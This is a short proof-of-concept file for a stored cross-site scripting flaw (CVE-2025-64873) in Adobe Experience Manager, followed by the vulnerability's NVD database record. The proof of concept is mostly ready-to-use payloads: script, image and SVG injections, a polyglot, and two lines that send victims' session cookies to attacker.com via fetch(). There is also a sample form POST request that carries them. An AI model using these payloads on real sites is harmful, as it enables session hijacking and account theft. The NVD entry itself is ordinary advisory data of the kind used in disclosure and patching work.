CVE-2025-64873

<!-- CVE-2025-64873 Stored XSS PoC --> <!-- Inject this payload into vulnerable form fields in Adobe Experience Manager --> <!-- Basic XSS payload --> <script>alert(document.cookie)</script> <!-- Image tag-based XSS payload --> <img src=x onerror=alert('XSS')> <!-- Event handler XSS payload --> <svg/onload=alert(document.domain)> <!-- Polyglot XSS payload --> javascript:/*--></title></style></template></select></option></script></xmp><svg/onload=alert(origin))>// <!-- Steal session cookies --> <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> <!-- To test: Submit above payload in any text field of AEM forms, then visit the page containing the stored content. --> <!-- Example API request --> POST /content/forms/af/[form-name]/jcr:content/guideContainer.json HTTP/1.1 Host: target.com Content-Type: application/json { "textField": "<img src=x onerror=alert(document.cookie)>", "name": "<script>fetch('https://attacker.com/steal?c='+btoa(document.cookie))</script>" }

{"cve": {"id": "CVE-2025-64873", "sourceIdentifier": "[email protected]", "published": "2025-12-10T19:16:34.130", "lastModified": "2025-12-12T17:32:34.677", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Experience Manager versions 6.5.23 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:-:*:*:*", "versionEndExcluding": "6.5.24.0", "matchCriteriaId": "0FC0CE20-2AC2-45FB-A7CF-9ADEEBC8B411"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:aem_cloud_service:*:*:*", "versionEndExcluding": "2025.12.0", "matchCriteriaId": "3326AB8A-7DF7-437C-86B6-58BA768E42E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:6.5:-:*:*:lts:*:*:*", "matchCriteriaId": "852C2582-859F-40DB-96CF-E1274CEECC1F"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}